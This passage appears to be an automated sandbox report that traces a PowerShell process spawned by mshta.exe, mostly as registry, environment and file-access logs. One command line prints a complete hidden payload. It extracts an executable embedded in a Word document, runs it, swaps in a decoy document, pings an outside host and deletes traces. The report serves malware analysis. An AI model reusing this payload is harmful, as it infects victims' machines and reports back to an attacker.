Registry Read Value reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine, value_name = ApplicationBase, data = 0, type = REG_SZ True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine, value_name = ApplicationBase, data = C:\Windows\System32\WindowsPowerShell\v1.0, type = REG_SZ True 1
Fn
File Get Info filename = C:\Windows\System32\WindowsPowerShell\v1.0\WSMan.format.ps1xml, type = file_type True 1
Fn
File Read filename = C:\Windows\System32\WindowsPowerShell\v1.0\WSMan.format.ps1xml, size = 4096, size_out = 4096 True 41
Fn
Data
File Get Info filename = C:\Windows\System32\WindowsPowerShell\v1.0\Help.format.ps1xml, type = file_attributes True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine, value_name = ApplicationBase, data = 0, type = REG_SZ True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine, value_name = ApplicationBase, data = C:\Windows\System32\WindowsPowerShell\v1.0, type = REG_SZ True 1
Fn
File Get Info filename = C:\Windows\System32\WindowsPowerShell\v1.0\WSMan.format.ps1xml, type = file_type True 1
Fn
File Get Info filename = C:\Windows\System32\WindowsPowerShell\v1.0\PowerShellCore.format.ps1xml, type = file_attributes True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine, value_name = ApplicationBase, data = 0, type = REG_SZ True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine, value_name = ApplicationBase, data = C:\Windows\System32\WindowsPowerShell\v1.0, type = REG_SZ True 1
Fn
File Get Info filename = C:\Windows\System32\WindowsPowerShell\v1.0\WSMan.format.ps1xml, type = file_type True 1
Fn
File Get Info filename = C:\Windows\System32\WindowsPowerShell\v1.0\PowerShellTrace.format.ps1xml, type = file_attributes True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine, value_name = ApplicationBase, data = 0, type = REG_SZ True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine, value_name = ApplicationBase, data = C:\Windows\System32\WindowsPowerShell\v1.0, type = REG_SZ True 1
Fn
File Get Info filename = C:\Windows\System32\WindowsPowerShell\v1.0\WSMan.format.ps1xml, type = file_type True 1
Fn
File Get Info filename = C:\Windows\System32\WindowsPowerShell\v1.0\Registry.format.ps1xml, type = file_attributes True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine, value_name = ApplicationBase, data = 0, type = REG_SZ True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine, value_name = ApplicationBase, data = C:\Windows\System32\WindowsPowerShell\v1.0, type = REG_SZ True 1
Fn
Environment Get Environment String name = MshEnableTrace False 7
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WSMAN True 1
Fn
Registry Get Key Info reg_name = HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WSMAN True 1
Fn
Registry Enumerate Values reg_name = HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WSMAN True 1
Fn
Registry Enumerate Values reg_name = HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WSMAN True 1
Fn
Registry Enumerate Values reg_name = HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WSMAN True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WSMAN, value_name = StackVersion, data = 0, type = REG_SZ True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WSMAN, value_name = StackVersion, data = 2.0, type = REG_SZ True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WSMAN True 1
Fn
Registry Get Key Info reg_name = HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WSMAN True 1
Fn
Registry Enumerate Values reg_name = HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WSMAN True 1
Fn
Registry Enumerate Values reg_name = HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WSMAN True 1
Fn
Registry Enumerate Values reg_name = HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WSMAN True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WSMAN, value_name = StackVersion, data = 0, type = REG_SZ True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WSMAN, value_name = StackVersion, data = 2.0, type = REG_SZ True 1
Fn
Environment Get Environment String name = MshEnableTrace False 2
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Registry Get Key Info reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Registry Enumerate Keys reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Registry Enumerate Keys reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Registry Enumerate Keys reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Registry Enumerate Keys reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Registry Enumerate Keys reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Registry Enumerate Keys reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Registry Enumerate Keys reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Registry Enumerate Keys reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Registry Enumerate Keys reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Application True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Application\PowerShell False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\HardwareEvents True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\HardwareEvents\PowerShell False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Internet Explorer True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Internet Explorer\PowerShell False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Key Management Service True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Key Management Service\PowerShell False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Media Center True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Media Center\PowerShell False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\OAlerts True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\OAlerts\PowerShell False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Security False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\System True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\System\PowerShell False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Windows PowerShell True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Windows PowerShell\PowerShell True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Registry Get Key Info reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Registry Enumerate Keys reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Registry Enumerate Keys reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Registry Enumerate Keys reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Registry Enumerate Keys reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Registry Enumerate Keys reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Registry Enumerate Keys reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Registry Enumerate Keys reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Registry Enumerate Keys reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Registry Enumerate Keys reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Application True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Application\PowerShell False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\HardwareEvents True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\HardwareEvents\PowerShell False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Internet Explorer True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Internet Explorer\PowerShell False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Key Management Service True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Key Management Service\PowerShell False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Media Center True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Media Center\PowerShell False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\OAlerts True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\OAlerts\PowerShell False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Security False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\System True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\System\PowerShell False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Windows PowerShell True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Windows PowerShell\PowerShell True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Registry Get Key Info reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Registry Enumerate Keys reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Registry Enumerate Keys reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Registry Enumerate Keys reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Registry Enumerate Keys reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Registry Enumerate Keys reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Registry Enumerate Keys reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Registry Enumerate Keys reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Registry Enumerate Keys reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Registry Enumerate Keys reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Application True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Application\PowerShell False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\HardwareEvents True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\HardwareEvents\PowerShell False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Internet Explorer True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Internet Explorer\PowerShell False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Key Management Service True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Key Management Service\PowerShell False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Media Center True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Media Center\PowerShell False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\OAlerts True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\OAlerts\PowerShell False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Security False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\System True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\System\PowerShell False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Windows PowerShell True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Windows PowerShell\PowerShell True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Registry Get Key Info reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Registry Enumerate Keys reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Registry Enumerate Keys reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Registry Enumerate Keys reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Registry Enumerate Keys reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Registry Enumerate Keys reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Registry Enumerate Keys reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Registry Enumerate Keys reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Registry Enumerate Keys reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Registry Enumerate Keys reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Application True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Application\PowerShell False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\HardwareEvents True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\HardwareEvents\PowerShell False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Internet Explorer True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Internet Explorer\PowerShell False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Key Management Service True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Key Management Service\PowerShell False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Media Center True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Media Center\PowerShell False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\OAlerts True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\OAlerts\PowerShell False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Security False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\System True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\System\PowerShell False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Windows PowerShell True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Windows PowerShell\PowerShell True 1
Fn
Environment Get Environment String name = MshEnableTrace False 1
Fn
Environment Get Environment String name = MshEnableTrace False 1
Fn
Environment Get Environment String name = MshEnableTrace False 1
Fn
Environment Get Environment String name = HOMEDRIVE, result_out = C: True 1
Fn
Environment Get Environment String name = HOMEPATH, result_out = \Users\aETAdzjz True 1
Fn
File Get Info filename = C:\Users\aETAdzjz, type = file_attributes True 1
Fn
File Get Info filename = C:\, type = file_attributes True 4
Fn
Environment Get Environment String name = MshEnableTrace False 1
Fn
Environment Get Environment String name = MshEnableTrace False 1
Fn
Environment Get Environment String name = MshEnableTrace False 2
Fn
Environment Get Environment String name = MshEnableTrace False 5
Fn
File Get Info filename = C:\Users\aETAdzjz\Desktop, type = file_attributes True 2
Fn
Environment Get Environment String name = MshEnableTrace False 1
Fn
File Get Info filename = C:\, type = file_attributes True 2
Fn
File Get Info filename = C:\Users, type = file_attributes True 2
Fn
File Get Info filename = C:\Users\aETAdzjz, type = file_attributes True 2
Fn
File Get Info filename = C:\Users\aETAdzjz\Desktop, type = file_attributes True 2
Fn
File Get Info filename = C:\Users, type = file_attributes True 2
Fn
File Get Info filename = C:\Users\aETAdzjz, type = file_attributes True 2
Fn
File Get Info filename = C:\Users\aETAdzjz\Desktop, type = file_attributes True 3
Fn
Environment Get Environment String name = MshEnableTrace False 2
Fn
Environment Get Environment String name = HomeDrive, result_out = C: True 1
Fn
Environment Get Environment String name = HomePath, result_out = \Users\aETAdzjz True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine, value_name = ApplicationBase, data = 0, type = REG_SZ True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine, value_name = ApplicationBase, data = C:\Windows\System32\WindowsPowerShell\v1.0, type = REG_SZ True 1
Fn
Environment Get Environment String name = MshEnableTrace False 11
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine, value_name = ApplicationBase, data = 0, type = REG_SZ True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine, value_name = ApplicationBase, data = C:\Windows\System32\WindowsPowerShell\v1.0, type = REG_SZ True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine, value_name = ApplicationBase, data = 0, type = REG_SZ True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine, value_name = ApplicationBase, data = C:\Windows\System32\WindowsPowerShell\v1.0, type = REG_SZ True 1
Fn
File Get Info filename = C:\Windows\System32\WindowsPowerShell\v1.0\profile.ps1, type = file_attributes False 1
Fn
File Get Info filename = C:\Windows\System32\WindowsPowerShell\v1.0\Microsoft.PowerShell_profile.ps1, type = file_attributes False 1
Fn
File Get Info filename = C:\Users\aETAdzjz\Documents\WindowsPowerShell\profile.ps1, type = file_attributes False 1
Fn
File Get Info filename = C:\Users\aETAdzjz\Documents\WindowsPowerShell\Microsoft.PowerShell_profile.ps1, type = file_attributes False 1
Fn
Environment Get Environment String name = MshEnableTrace False 6
Fn
File Open filename = STD_INPUT_HANDLE True 1
Fn
Environment Get Environment String name = MshEnableTrace False 2
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds, value_name = PipelineMaxStackSizeMB, type = REG_NONE False 1
Fn
Environment Get Environment String name = MshEnableTrace False 1
Fn
Thread 0x998
(Host: 1, Network: 0)
+
Category Operation Information Success Count Logfile
Module Unmap process_name = c:\windows\system32\windowspowershell\v1.0\powershell.exe True 1
Fn
Thread 0x94c
(Host: 4, Network: 0)
+
Category Operation Information Success Count Logfile
Environment Get Environment String name = MshEnableTrace False 21
Fn
Environment Get Environment String name = APPDATA, result_out = C:\Users\aETAdzjz\AppData\Roaming True 2
Fn
File Create filename = C:\Users\aETAdzjz\AppData\Roaming\result.exex, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_FLAG_OPEN_NO_RECALL False 1
Fn
Environment Get Environment String name = MshEnableTrace False 1
Fn
Process #9: powershell.exe
(Host: 2811, Network: 0)
+
Information Value
ID #9
File Name c:\windows\system32\windowspowershell\v1.0\powershell.exe
Command Line "C:\Windows\SYSteM32\windowspOweRSHeLL\V1.0\PoWErSHELL.Exe" -WindowStyle Hidden Try{$ada="""$env:APPDATA\result.exe""";$adax=$ada+'x';$f=[System.IO.File]::Create($adax);$tmf="""$env:TEMP\o.tmp""";taskkill /f /im winword.exe;Function pr{Try{$k="""HKCU:\Software\Microsoft\Office\$wv\Word\Resiliency\StartupItems\""";for ($i = 0; $i -lt 10; $i++){$r=[System.Text.Encoding]::Unicode.GetString((gp $k).((gi $k).Property[$i]));if ($r.Contains('.doc')){$i=10;}}$r=$r.Substring($r.indexOf(':\')-1);$r=$r.Substring(0, $r.IndexOf('.doc')+4);ri -Path """HKCU:\Software\Microsoft\Office\$wv\Word\Resiliency""" -recurse;cp -Path $r -Destination $tmf;$d = (gc $tmf -ReadCount 0 -encoding byte)[985480..1011591];Start-Sleep -s 1;sc $r -encoding byte -Value $d;start winword """$r""";$f = (gc $tmf -ReadCount 0 -encoding byte)[420737..985472];sc $ada -encoding byte -Value $f;& $ada;$wc = New-Object system.Net.WebClient;$ht=$wc.downloadString('http://www.samyrai777m.p-host.in/t/t.php?act=hit');$cd=(Resolve-Path .\).Path;ri """$cd\*""" -include http*.pdb, http*.dll, *.cs;}Catch{}};$wv='12.0';pr;$wv='14.0';pr;$wv='15.0';pr;$wv='16.0';pr;Stop-Process -processname powershell;}Catch{exit;}
Initial Working Directory C:\Users\aETAdzjz\Desktop\
Monitor Start Time: 00:01:07, Reason: Child Process
Unmonitor End Time: 00:02:36, Reason: Terminated by Timeout
Monitor Duration 00:01:29
OS Process Information
+
Information Value
PID 0x2ac
Parent PID 0xbc0 (c:\windows\system32\mshta.exe)
Is Created or Modified Executable False
Integrity Level Medium
Username YKYD69Q\aETAdzjz
Groups
  • YKYD69Q\Domain Users (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • Everyone (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • BUILTIN\Administrators (USE_FOR_DENY_ONLY)
  • BUILTIN\Users (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\INTERACTIVE (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • CONSOLE LOGON (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\Authenticated Users (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\This Organization (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\Logon Session 00000000:00010989 (MANDATORY, ENABLED_BY_DEFAULT, ENABLED, LOGON_ID)
  • LOCAL (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\NTLM Authentication (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
Enabled Privileges SeChangeNotifyPrivilege
Thread IDs
0x 658
0x A0C
0x A14
0x 9A8
0x A48
0x A58
0x 9AC
Region
+
Name Start VA End VA Type Permissions Monitored Dump YARA Match Actions
private_0x0000000000010000 0x00010000 0x0002ffff Private Memory Readable, Writable True True False
pagefile_0x0000000000010000 0x00010000 0x0001ffff Pagefile Backed Memory Readable, Writable True False False
  • Region Actions
pagefile_0x0000000000020000 0x00020000 0x0002ffff Pagefile Backed Memory Readable, Writable True False False
  • Region Actions
pagefile_0x0000000000030000 0x00030000 0x00033fff Pagefile Backed Memory Readable True False False
  • Region Actions
pagefile_0x0000000000040000 0x00040000 0x00040fff Pagefile Backed Memory Readable True False False
  • Region Actions
locale.nls 0x00050000 0x000b6fff Memory Mapped File Readable False False False
  • Region Actions
pagefile_0x00000000000c0000 0x000c0000 0x000c6fff Pagefile Backed Memory Readable True False False
  • Region Actions
pagefile_0x00000000000d0000 0x000d0000 0x000d1fff Pagefile Backed Memory Readable, Writable True False False
  • Region Actions
powershell.exe.mui 0x000e0000 0x000e2fff Memory Mapped File Readable, Writable False False False
  • Region Actions
private_0x00000000000f0000 0x000f0000 0x0016ffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000000170000 0x00170000 0x00170fff Private Memory Readable, Writable True True False
private_0x0000000000180000 0x00180000 0x00180fff Private Memory Readable, Writable True True False
pagefile_0x0000000000190000 0x00190000 0x00190fff Pagefile Backed Memory Readable True False False
  • Region Actions
